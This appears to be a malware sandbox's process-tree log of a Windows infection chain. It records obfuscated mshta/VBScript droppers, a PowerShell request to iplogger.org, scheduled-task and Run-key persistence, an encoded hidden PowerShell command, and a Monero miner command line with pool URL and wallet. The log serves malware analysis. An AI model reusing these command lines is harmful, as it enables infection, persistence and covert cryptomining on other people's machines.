-
C:\Users\Admin\AppData\Local\Temp\wwi.exe"wwi.exe"9⤵
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\vss.exe"C:\Users\Admin\AppData\Local\Temp\vss.exe"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\Admin\AppData\Local\Temp\vss.exe"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """" == """" for %j In (""C:\Users\Admin\AppData\Local\Temp\vss.exe"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\Admin\AppData\Local\Temp\vss.exe" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "" == "" for %j In ("C:\Users\Admin\AppData\Local\Temp\vss.exe" ) do taskkill /F -Im "%~Nxj"12⤵
-
C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exEW7sP3HTJPToeET.exe /PCOd0LPl_yA13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA"" == """" for %j In (""C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )14⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "/PCOd0LPl_yA" == "" for %j In ("C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" GBmH.yE,MSoGFUg14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "vss.exe"13⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\wwl.exe"wwl.exe"9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
C:\Users\Admin\AppData\Local\Temp\f.exe"f.exe"9⤵
-
C:\Users\Admin\AppData\Local\237843444.exe"C:\Users\Admin\AppData\Local\237843444.exe"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"9⤵
- Blocklisted process makes network request
-
C:\Users\Admin\Documents\V07dlsOIcf9fgMz8yVPz_PF4.exe"C:\Users\Admin\Documents\V07dlsOIcf9fgMz8yVPz_PF4.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\xcTxZdmS8H0LJb5e3qFxI3qP.exe"C:\Users\Admin\Documents\xcTxZdmS8H0LJb5e3qFxI3qP.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\gLtAvC_LNLWQy3jID5yKOwXZ.exe"C:\Users\Admin\Documents\gLtAvC_LNLWQy3jID5yKOwXZ.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Nqf719R8LxXVoxu39kuog6B_.exe"C:\Users\Admin\Documents\Nqf719R8LxXVoxu39kuog6B_.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Nqf719R8LxXVoxu39kuog6B_.exe"C:\Users\Admin\Documents\Nqf719R8LxXVoxu39kuog6B_.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\O3wpVWQFGdwknjJZqFX5CKn6.exe"C:\Users\Admin\Documents\O3wpVWQFGdwknjJZqFX5CKn6.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\gJv6su_kF04GusRQ4mjRsn85.exe"C:\Users\Admin\Documents\gJv6su_kF04GusRQ4mjRsn85.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\7eNnIB1bDHdIuZciNC_JSZUD.exe"C:\Users\Admin\Documents\7eNnIB1bDHdIuZciNC_JSZUD.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\8862853.scr"C:\Users\Admin\AppData\Roaming\8862853.scr" /S8⤵
-
C:\Users\Admin\AppData\Roaming\6219765.scr"C:\Users\Admin\AppData\Roaming\6219765.scr" /S8⤵
-
C:\Users\Admin\AppData\Roaming\5583282.scr"C:\Users\Admin\AppData\Roaming\5583282.scr" /S8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2260b25c317.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed2260b25c317.exeWed2260b25c317.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed2260b25c317.exeC:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed2260b25c317.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2236d9fce9bd29d13.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed2236d9fce9bd29d13.exeWed2236d9fce9bd29d13.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"8⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
- Suspicious use of SetThreadContext
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit10⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"10⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth10⤵
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\655352.exe"C:\ProgramData\655352.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\8595031.exe"C:\ProgramData\8595031.exe"9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\8595031.exe"C:\ProgramData\8595031.exe"10⤵
- Executes dropped EXE
-
C:\ProgramData\1626329.exe"C:\ProgramData\1626329.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\2508653.exe"C:\ProgramData\2508653.exe"9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4804 -s 15289⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"8⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 4809⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 4929⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 4969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 5169⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 4529⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 8089⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 8969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 8289⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 9649⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 9809⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 9849⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 10569⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmp7579_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp7579_tmp.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp7579_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp7579_tmp.exe10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\jk847.bat" "10⤵
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\Foxynew.exeFoxynew.exe11⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\Foxynew.exeFoxynew.exe12⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"13⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"14⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\15⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\16⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F15⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\tool\tool.exe"C:\Users\Admin\AppData\Local\Temp\tool\tool.exe"15⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\dPack\tr\t.vbs" /f=CREATE_NO_WINDOW install.cmd16⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\dPack\tr\ots.bat" "17⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 718⤵
- Delays execution with timeout.exe
-
C:\dPack\tr\1obe.com"1obe.com" e -p78acsddgdaskuUKJgdhxsh6 PD441.rar18⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 618⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\dPack\tr\chs.vbs"18⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\dPack\tr\ro3.bat" "19⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\dPack\tr"20⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exetimeout 220⤵
- Delays execution with timeout.exe
-
C:\dPack\tr\vertoor.exevertoor.exe /start20⤵
- Suspicious use of SetThreadContext
-
C:\dPack\tr\vertoor.exevertoor.exe /start21⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im 1obe.com20⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im 1obe.com20⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\dPack\tr"20⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exetimeout 420⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\timeout.exetimeout 818⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\FoxyIDS2.exeFoxyIDS2.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"12⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-3127K.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-3127K.tmp\setup_2.tmp" /SL5="$1029C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b251ef55.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed226b251ef55.exeWed226b251ef55.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed221ce23cd2c4a6.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed221ce23cd2c4a6.exeWed221ce23cd2c4a6.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-T1C3I.tmp\Wed221ce23cd2c4a6.tmp"C:\Users\Admin\AppData\Local\Temp\is-T1C3I.tmp\Wed221ce23cd2c4a6.tmp" /SL5="$6002E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed221ce23cd2c4a6.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-MUVIC.tmp\___YHDG34.exe"C:\Users\Admin\AppData\Local\Temp\is-MUVIC.tmp\___YHDG34.exe" /S /UID=burnerch28⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Defender\TCDTHOXYGY\ultramediaburner.exe"C:\Program Files\Windows Defender\TCDTHOXYGY\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FKIB0.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-FKIB0.tmp\ultramediaburner.tmp" /SL5="$602D0,281924,62464,C:\Program Files\Windows Defender\TCDTHOXYGY\ultramediaburner.exe" /VERYSILENT10⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu11⤵
-
C:\Users\Admin\AppData\Local\Temp\1d-55074-059-2c885-c111f0bf06dc7\Sihaelinasa.exe"C:\Users\Admin\AppData\Local\Temp\1d-55074-059-2c885-c111f0bf06dc7\Sihaelinasa.exe"9⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\26-56673-2e7-0989c-8eeedf544ca88\Faejufidysa.exe"C:\Users\Admin\AppData\Local\Temp\26-56673-2e7-0989c-8eeedf544ca88\Faejufidysa.exe"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jmsu0l4k.0zv\GcleanerEU.exe /eufive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\jmsu0l4k.0zv\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\jmsu0l4k.0zv\GcleanerEU.exe /eufive11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q4iepb0p.wk3\installer.exe /qn CAMPAIGN="654" & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\q4iepb0p.wk3\installer.exeC:\Users\Admin\AppData\Local\Temp\q4iepb0p.wk3\installer.exe /qn CAMPAIGN="654"11⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\q4iepb0p.wk3\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\q4iepb0p.wk3\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631992505 /qn CAMPAIGN=""654"" " CAMPAIGN="654"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2uhwdfgj.whj\anyname.exe & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\2uhwdfgj.whj\anyname.exeC:\Users\Admin\AppData\Local\Temp\2uhwdfgj.whj\anyname.exe11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n3a0obwf.l2e\gcleaner.exe /mixfive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\n3a0obwf.l2e\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\n3a0obwf.l2e\gcleaner.exe /mixfive11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\n3a0obwf.l2e\gcleaner.exe" & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f13⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\omlabvwt.bml\autosubplayer.exe /S & exit10⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed222a0abb0f39640f.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed222a0abb0f39640f.exeWed222a0abb0f39640f.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22d29285f2462824d.exe /mixone5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed22d29285f2462824d.exeWed22d29285f2462824d.exe /mixone6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 6567⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 6767⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 7527⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 8207⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 8807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 9327⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 11087⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed224b216a9b264.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed224b216a9b264.exeWed224b216a9b264.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b6e8b18c18b003.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\C029.exeC:\Users\Admin\AppData\Local\Temp\C029.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\E508.exeC:\Users\Admin\AppData\Local\Temp\E508.exe2⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\E508.exe"3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\C9FA.exeC:\Users\Admin\AppData\Local\Temp\C9FA.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\D90E.exeC:\Users\Admin\AppData\Local\Temp\D90E.exe2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Users\Admin\AppData\Local\Temp\E0EF.exeC:\Users\Admin\AppData\Local\Temp\E0EF.exe2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\EA56.exeC:\Users\Admin\AppData\Local\Temp\EA56.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\BAB.exeC:\Users\Admin\AppData\Local\Temp\BAB.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\D5F9.exeC:\Users\Admin\AppData\Local\Temp\D5F9.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\24B2.exeC:\Users\Admin\AppData\Local\Temp\24B2.exe2⤵
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\wbem\viewprov\WmiPrvSE.exe"C:\Windows\System32\wbem\viewprov\WmiPrvSE.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\cjzCLZH.exeC:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\cjzCLZH.exe W8 /site_id 668658 /S2⤵
- Drops file in System32 directory
-
